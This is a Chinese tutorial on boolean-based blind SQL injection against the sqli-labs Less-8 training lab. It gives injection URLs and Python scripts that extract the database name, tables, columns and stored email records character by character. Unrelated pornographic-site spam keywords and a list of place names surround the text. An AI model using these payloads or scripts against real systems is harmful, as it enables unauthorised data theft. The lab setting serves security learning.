最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

SQL注入之基于布爾的盲注詳解

 更新時間:2016年09月25日 10:16:45   投稿:daisy  
首先說明的盲注是注入的一種,指的是在不知道數(shù)據(jù)庫返回值的情況下對數(shù)據(jù)中的內容進行猜測,實施SQL注入。盲注一般分為布爾盲注和基于時間的盲注。這篇文章主要講解的是基于布爾的盲注。下面來一起看看吧。

基于布爾的盲注

Web的頁面的僅僅會返回True和False。那么布爾盲注就是進行SQL注入之后然后根據(jù)頁面返回的True或者是False來得到數(shù)據(jù)庫中的相關信息。

由于本次是布爾注入,手注無法完整地進行脫褲。所以在本節(jié)需要編寫大量的代碼來幫助我們進行SQL注入,得到數(shù)據(jù)。所以在這章里面會有很多的Python代碼。

本次的示例就是Less-8。

通過進行下面的語句的注入測試

http://localhost/sqlilabs/Less-8/?id=2'
http://localhost/sqlilabs/Less-8/?id=2"
http://localhost/sqlilabs/Less-8/?id=2\

進行測試的時候,只有在id=2'的時候頁面無法顯示內容。輸入的語句如果符合要求,頁面就會顯示內容,但是顯示的內容都是一樣的。這種情況下頁面上的輸出對于我們來說是完全沒有用的,包括SQL執(zhí)行出錯的信息都不會在頁面上顯示。這種情況下之前的通過執(zhí)行SQL語句然后在頁面上顯示SQL執(zhí)行之后返回的信息完全是不可能的啦。這種情況下就是一個典型的SQL盲注了。

我們通過頁面是否顯示內容來判斷我們的SQL語句是否正確,進而猜解數(shù)據(jù)庫的信息。

通過上面的注入測試,我們知道后臺的SQL的注入語句的寫法是:

select field from table where id='userinput'

id參數(shù)是被單引號包括的。其他的信息我們就無法得到了。

得到數(shù)據(jù)庫的名稱

在得到數(shù)據(jù)庫的名稱之前,首先需要得到數(shù)據(jù)庫的長度

http://localhost/sqlilabs/Less-8/?id=2' and length(database())>1 %23
http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2 %23
以此類推
.....

發(fā)現(xiàn)當值為8的時候,頁面就沒有顯示。那么說明database()的長度是8。

得到了datbase()的長度之后,接下來就是得到database()的名稱了。

這個時候就不能完全靠手注了,必須編寫Python代碼來完成。其中最主要就是進行大量的注入測試來判斷程序執(zhí)行正確和出錯的時機,然后斷定當前的值可能就是正確的值。

下面就是一個簡單的使用Python來進行布爾盲注獲取數(shù)據(jù)的代碼。

def get_db_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr(database(),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

得到最后的結果的是security,是正確的。

得到數(shù)據(jù)庫中的表信息

其實所有的SQL注入步驟都是類似的。首先得到數(shù)據(jù)庫的名稱(這一步不是必須的),然后得到當前數(shù)據(jù)庫的表名稱,然后得到表的字段,最后進行脫褲。這個步驟在前一章已經(jīng)有說明了。

首先看一個簡單的SQL盲注獲取數(shù)據(jù)庫表信息的寫法。

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60 %23

其實還是使用之前的select table_name from information_schema.tables where table_schema=database() limit 0,1這樣的語句來得到表的信息,但是現(xiàn)在是無法在頁面上顯示的,而是通過盲注來一個字符一個字符的獲取表名。

接下也同樣是通過編寫Python代碼來獲取表名了。代碼也和上面的類似。主要就是修改中的URl。在進行Python獲取表名之前,我們同樣需要知道表名的長度。

使用如下的語句就可以得到了。

獲取表名的SQL注入的寫法就是如下

http://localhost/sqlilabs/Less-8/?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

通過這種方式我們知道數(shù)據(jù)庫表中的第一個表名的長度是6。知道了表名的長度之后,接下來的Python腳本就很好寫了。

def get_table_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

最后得到了第一個表名是emails,如果要得到其他的表名只需要將代碼limit 0,1修改成為limit 1,1或者是其他的就可以了。

得到表名的列信息

在得到列名之前,同樣需要知道在表中的字段長度。例如我們想要知道在emails表中的長度,那么就可以使用如下的語句來獲取。

http://localhost/sqlilabs/Less-8/?id=2' and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)>【num】 %23

修改num的值即可,從0開始一直到到程序出錯。通過這種方法,我們得到在emails中存在2個字段,字段的長度分別是2,8。
得到了字段長度之后,接下來就是進行布爾注入得到字段名稱了。

在編寫代碼之前,還是來看如何寫獲取字段名稱的sql語句吧。下面這個代碼就是用來獲取字段名稱的代碼。

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))>60 %23

我們編寫的Python代碼也是利用上面這個代碼來獲取字段名稱。

def get_column_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,3):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

通過上面這個代碼,我們可以得到在emails表中存在的字段名稱分別是idemail_id

脫褲

在得到了字段名稱之后,接下來最重要的一步就是進行脫褲了。
在進行脫褲之前,我們首先判斷在emails表中有多少條記錄。

使用的語句如下:

http://localhost/sqlilabs/Less-8/?id=2' and (select count(*) from emails)>0 %23

修改>0中的0依次為1,2,3之后,我們得到在emails表中一共存在8條記錄。

那么接下來就是進行脫褲了。

在脫褲之前,我們首先要知道當前記錄的長度,這個SQL語句也很好寫。

http://localhost/sqlilabs/Less-8/?id=2' and (select length(email_id) from emails limit 0,1)>15 %23

最后我們知道在emails表中的第一條記錄中的email_id的長度是16.

知道了長度之后,代碼就很好寫了。

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的長度只有706和722
   if length>706:
    result += char
    break
 print(result)

通過上面的這段代碼就得到了內容是Dumb@dhakkan.com,其他的內容就同樣通過這段方式得到數(shù)據(jù)了。這里就不作演示了。

總結

其實基于布爾盲注和基于時間的盲注都是需要編寫大量的代碼,就像本篇的文章一樣。之前在簡單的SQL注入中,一句SQL注入代碼就可以解決的問題在這里就需要編寫Python代碼來進行大量的注入測試才能夠得到內容。其實之前我也很少完整的用Python來編寫SQL注入代碼完成整個布爾盲注的注入過程。通過本章的編寫,熟悉了使用Python代碼完整地進行一次布爾盲注的過程了,學習了很多。以上就是這篇文章的全部內容了,希望對大家能有所幫助。

相關文章

最新評論

周口市| 安化县| 永和县| 长汀县| 红桥区| 蓝山县| 望都县| 来凤县| 滁州市| 高平市| 利川市| 彝良县| 扶绥县| 岚皋县| 揭东县| 镇江市| 宝山区| 上蔡县| 奉新县| 禄丰县| 怀仁县| 高平市| 东至县| 阳春市| 东莞市| 南雄市| 黄山市| 北票市| 长武县| 阳泉市| 莎车县| 关岭| 淳化县| 会泽县| 神木县| 宾阳县| 青冈县| 磴口县| 通道| 富民县| 伊春市|